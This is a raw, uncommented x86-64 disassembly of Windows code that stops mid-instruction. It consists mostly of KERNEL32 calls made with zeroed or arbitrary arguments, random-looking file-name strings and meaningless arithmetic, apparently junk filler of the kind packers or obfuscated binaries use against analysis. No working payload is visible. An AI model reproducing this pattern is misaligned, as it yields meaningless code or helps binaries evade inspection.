mov rax, qword [rsp + 0x9e00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x273]
add eax, ecx
mov rcx, qword [rsp + 0x9a88]
mov byte [rcx], al
mov r9d, 1
lea r8, [rsp + 0xa258]
mov rdx, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0x9bd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4aa8], eax
mov rax, qword [rsp + 0xa248]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4668]
shl eax, cl
mov rcx, qword [rsp + 0x9dd0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1118]
movsx ecx, word [0x14024f3bc]
sar eax, cl
mov word [rsp + 0x898], ax
movzx ecx, word [rsp + 0xfc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf50], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
movzx eax, word [rsp + 0xf04]
mov rcx, qword [rsp + 0x9a00]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xfc4], ax
mov edx, 0x1c54
mov rcx, qword [rsp + 0x9b80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4b3c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
movzx eax, byte [rsp + 0x205]
mov rcx, qword [rsp + 0xa270]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14022133b], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa220], rax
movzx ecx, word [rsp + 0x114c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1190], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf34], ax
lea rax, [rsp + 0x3e24]
mov qword [rsp + 0xa2c8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.yiYuKz1xgdMgi8ZgKHg_vz9CZlVg1CWpIci
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa2d0], rax
mov r9d, 1
lea r8, [rsp + 0x9740]
mov rdx, qword [rsp + 0x9ce8]
mov rcx, qword [rsp + 0x95c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b04], eax
lea rdx, [rsp + 0x98e8]
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b40], eax
lea rcx, [rsp + 0x8ee0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
lea r8, [rsp + 0x8d10]
mov rdx, qword [rsp + 0xa2d8]
mov rcx, qword [rsp + 0xa2d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4888], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0xa000]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9608]
mov qword [rcx], rax
lea rcx, [rsp + 0x1a618]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov dword [rsp + 0x20e80], 0x11c
mov rax, qword [rsp + 0xa1b0]
mov rcx, qword [rsp + 0x8980]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ab0], rax
lea rax, [rsp + 0xf0c]
mov qword [rsp + 0xa2e0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2641
mov r9d, 0x2404
mov r8d, 0xcca73821
mov edx, 1
mov rcx, qword [rsp + 0x95d8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4abc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x8e00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9a20]
mov dword [rcx], eax
lea rax, [rsp + 0x1068]
mov qword [rsp + 0xa2e8], rax
movzx ecx, word [rsp + 0x103c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11a0], ax
movsx eax, byte [rsp + 0x1fd]
movsx ecx, byte [rsp + 0x238]
add eax, ecx
mov byte [rsp + 0x27f], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
movzx eax, byte [rsp + 0x274]
mov rcx, qword [rsp + 0xa028]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x26a], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa2f0], rax
lea rcx, [rsp + 0x1a528]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
mov dword [0x14024f260], eax
mov dword [rsp + 0x20], 0xcae
mov r9d, 0x2595
mov r8d, 0x2bc6
mov edx, 0x98c
mov rcx, qword [rsp + 0x9540]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4918], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
lea rax, [rsp + 0x96a0]
mov qword [rsp + 0xa2f8], rax
mov rax, qword [rsp + 0x99b8]
mov rcx, qword [rsp + 0x97b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa160]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.OT8W0YKEYDhknDT1Mx20McrL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa300], rax
movzx eax, byte [rsp + 0x277]
mov byte [rsp + 0x298], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0xf5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1094], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f80], rax
lea rcx, str.MkGikKOC
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11ac], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9558], rax
movzx ecx, word [rsp + 0x10e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11b0], ax
mov rax, qword [0x14024f310]
mov eax, dword [rax]
mov dword [rsp + 0x485c], eax
movzx ecx, word [rsp + 0x10b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
lea rax, [rsp + 0xf64]
mov qword [rsp + 0xa308], rax
mov rax, qword [rsp + 0x9680]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x153]
sub eax, ecx
mov byte [rsp + 0x27d], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rcx, str.Q69SrDB8Nrck_B3ix.g
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11b4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x9c00]
mov ecx, dword [rsp + 0x4928]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1164]
sub eax, ecx
mov word [rsp + 0x864], ax
movzx eax, word [rsp + 0x1088]
movzx ecx, word [rsp + 0xeec]
and eax, ecx
mov word [0x14024f318], ax
mov rax, qword [rsp + 0x9630]
mov rcx, qword [rsp + 0xa238]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x42f4], eax
movzx ecx, word [rsp + 0xff4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1070], ax
lea rax, [rsp + 0x26f]
mov qword [rsp + 0xa310], rax
mov rax, qword [rsp + 0x9af8]
mov rcx, qword [rsp + 0xa000]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9688]
mov qword [rcx], rax
xor r9d, r9d
lea r8, [rsp + 0x9ba0]
mov rdx, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x9540]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b44], eax
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x9e58]
mov qword [rsp + 0xa318], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa318]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7cb8], rax
lea rdx, [rsp + 0x9d00]
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b34], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x1fd]
mov byte [rsp + 0x299], al
mov eax, dword [0x14022fb68]
movzx ecx, al
mov eax, dword [rsp + 0x4988]
sar eax, cl
mov rcx, qword [rsp + 0x9a20]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x20580]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4808], eax
mov rax, qword [rsp + 0x9f38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
add eax, ecx
mov word [rsp + 0xdc8], ax
mov rcx, qword [rsp + 0xa0f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b48], eax
movzx eax, word [rsp + 0x1088]
movzx ecx, word [rsp + 0x7a0]
add eax, ecx
mov rcx, qword [rsp + 0x8f20]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
lea rax, [rsp + 0x43dc]
mov qword [0x14024f258], rax
movzx ecx, word [rsp + 0xfdc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xff4], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x208e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b4c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0xa0e8]
mov rcx, qword [rsp + 0x9c88]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8868], rax
movzx ecx, word [rsp + 0xf9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rax, [rsp + 0x27e]
mov qword [rsp + 0xa320], rax
lea rcx, str.0JQTpie4S.USaaC3Y
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11b8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae8], rax
mov rcx, qword [rsp + 0x9b80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x1a528]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.i0xx8dXu8bGXy_vKZ5M9CvbNzY8lUP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa328], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
xor r9d, r9d
lea r8, [rsp + 0x9c60]
mov rdx, qword [rsp + 0xa330]
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4918], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r9d, 1
lea r8, [rsp + 0x9ee8]
mov rdx, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a70], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0xa258]
mov rcx, qword [rsp + 0x9e78]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a58], eax
mov rax, qword [rsp + 0x8120]
mov rcx, qword [rsp + 0x86e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d58], rax
lea rax, [rsp + 0xf2c]
mov qword [rsp + 0xa338], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movsx eax, word [rsp + 0xf70]
mov rcx, qword [rsp + 0x9fb0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x738], ax
mov rax, qword [rsp + 0x8ce8]
mov rcx, qword [rsp + 0x9f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x93e0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa340], rax
movzx ecx, word [rsp + 0x10c8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1194], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movzx eax, byte [rsp + 0x154]
mov byte [rsp + 0x29a], al
mov dword [rsp + 0x20], 0xfa5
mov r9d, 0x30f
mov r8d, 0x3ce6
mov edx, 0x2f47
mov rcx, qword [rsp + 0xa008]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4b50], eax
movzx ecx, word [rsp + 0xf8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x119c], ax
movzx eax, byte [rsp + 0x28d]
mov rcx, qword [rsp + 0x9b40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x287], al
mov edx, 0x252a
mov rcx, qword [rsp + 0xa1f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4b0c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.XQgIOQGTf_stWRpjS15ubNU
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa348], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rcx, qword [rsp + 0xa1f8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9cf8]
mov eax, dword [rax]
mov ecx, dword [0x14022fb7c]
sub ecx, eax
mov eax, ecx
mov dword [0x14024f390], eax
mov rax, qword [rsp + 0x9d78]
mov rax, qword [rax]
mov qword [rsp + 0xa350], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
movzx eax, byte [rsp + 0x274]
movzx ecx, byte [rsp + 0x289]
add eax, ecx
mov byte [rsp + 0x297], al
lea rcx, [0x140231b10]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11bc], ax
movzx ecx, word [rsp + 0xef4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1048], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x14024f2e0]
mov rcx, qword [rsp + 0x9630]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4570], eax
mov dword [rsp + 0x20fa0], 0x11c
movzx ecx, word [rsp + 0xf44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9618]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfb8], ax
mov r9d, 2
lea r8, [rsp + 0x9810]
mov rdx, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a60], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa0c8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movzx ecx, word [rsp + 0xfcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11bc], ax
mov rax, qword [rsp + 0x9988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f98]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x27b], al
lea rax, [rsp + 0xf78]
mov qword [rsp + 0xa360], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.202KIgN2nI6CpMAjmn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa368], rax
mov edx, 0x675
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a10], eax
movzx ecx, word [rsp + 0x1190]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11c0], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x20100]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4924], eax
mov dword [rsp + 0x20], 0x267f
mov r9d, 0x30d6
mov r8d, 0x24b1
mov edx, 0x3cbf
mov rcx, qword [rsp + 0x9b58]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4b04], eax
mov rax, qword [rsp + 0xa248]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3e5c]
sar eax, cl
mov rcx, qword [rsp + 0x9fa8]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa370], rax
mov rax, qword [rsp + 0x95c8]
mov rax, qword [rax]
mov qword [rsp + 0xa378], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20100]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b10], eax
movzx ecx, word [rsp + 0xfe0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10c0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14024f2e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff0]
or eax, ecx
mov word [rsp + 0x108c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movzx ecx, word [rsp + 0x1184]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1070], ax
mov dword [rsp + 0x20], 0x17aa
mov r9d, 0x1086
mov r8d, 0x29c0
mov edx, 0x1a54
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4b54], eax
mov edx, 0x2200
mov rcx, qword [rsp + 0xa180]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48fc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f58], rax
mov r9d, 0x1d61
xor r8d, r8d
lea rdx, [rsp + 0x8e28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49e4], eax
lea rcx, [rsp + 0x1a738]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa380], rax
movzx ecx, word [rsp + 0x1104]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1070], ax
mov rax, qword [rsp + 0x9b90]
movzx eax, byte [rax]
mov byte [0x14024f250], al
mov r9d, 0x1a02
xor r8d, r8d
lea rdx, [rsp + 0xa150]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ad8], eax
lea rcx, [rsp + 0xa388]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov r9d, 0x692
xor r8d, r8d
lea rdx, [rsp + 0xa1f8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49c8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9c80]
mov qword [rsp + 0xa390], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa390]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4434], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.2Yamz6J2bN7WBYSDh1JkTUbQafA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa398], rax
movzx ecx, word [rsp + 0xf50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x103c], ax
lea rax, [rsp + 0x8508]
mov qword [rsp + 0xa3a0], rax
mov rax, qword [rsp + 0x9f28]
mov rcx, qword [rsp + 0x9f78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9688]
mov qword [rcx], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x399b
mov r9d, 0x85f
mov r8d, 0xceb531d1
mov edx, 2
mov rcx, qword [rsp + 0xa070]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4b58], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [rsp + 0x4928]
mov ecx, dword [rsp + 0x420c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43d0], eax
mov rax, qword [rsp + 0x9d90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
sub eax, ecx
mov word [rsp + 0xf84], ax
movsx eax, byte [rsp + 0x273]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x283], al
mov rcx, qword [rsp + 0x9ad8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa148], rax
mov rax, qword [rsp + 0x9618]
movzx eax, word [rax]
mov word [rsp + 0x11c4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x27e]
mov rcx, qword [rsp + 0x99e0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0xee], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9880], rax
lea rcx, [rsp + 0x9808]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa2c8]
mov ecx, dword [rsp + 0x43a8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14024f3a4], eax
mov rax, qword [0x14022fb60]
mov qword [rsp + 0xa3a8], rax
mov rax, qword [rsp + 0x9fd0]
mov rcx, qword [rsp + 0x9f78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa0c0]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rcx, qword [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe5c], ax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x4884], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa2e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfc8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0x347e
mov r9d, 0x1eec
mov r8d, 0x349d
mov edx, 0x234f
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4aa0], eax
lea rdx, [rsp + 0x9ca8]
mov rcx, qword [rsp + 0x9ea8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b5c], eax
lea rax, [rsp + 0x8650]
mov qword [rsp + 0xa3b0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov dword [rsp + 0x20], 0x17c7
mov r9d, 0x118e
mov r8d, 0x24f
mov edx, 0x16b1
mov rcx, qword [rsp + 0x9ea8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4a60], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.ew4fn8tBTfeU20dYe3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa3b8], rax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0x275]
add eax, ecx
mov byte [rsp + 0x159], al
mov eax, dword [rsp + 0x490c]
mov dword [rsp + 0x4b60], eax
movzx eax, word [rsp + 0xf00]
movzx ecx, word [rsp + 0x108c]
sar eax, cl
mov rcx, qword [0x14024f2f8]
mov word [rcx], ax
movzx eax, byte [0x14024f370]
mov rcx, qword [rsp + 0x9b68]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x72], al
mov r9d, 1
lea r8, [rsp + 0x9d00]
mov rdx, qword [rsp + 0x9c90]
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b20], eax
mov dword [rsp + 0x20], 0x32a9
mov r9d, 0x18f9
mov r8d, 0x1075
mov edx, 0xb8f
mov rcx, qword [rsp + 0x9cd8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4b64], eax
mov rax, qword [rsp + 0x9730]
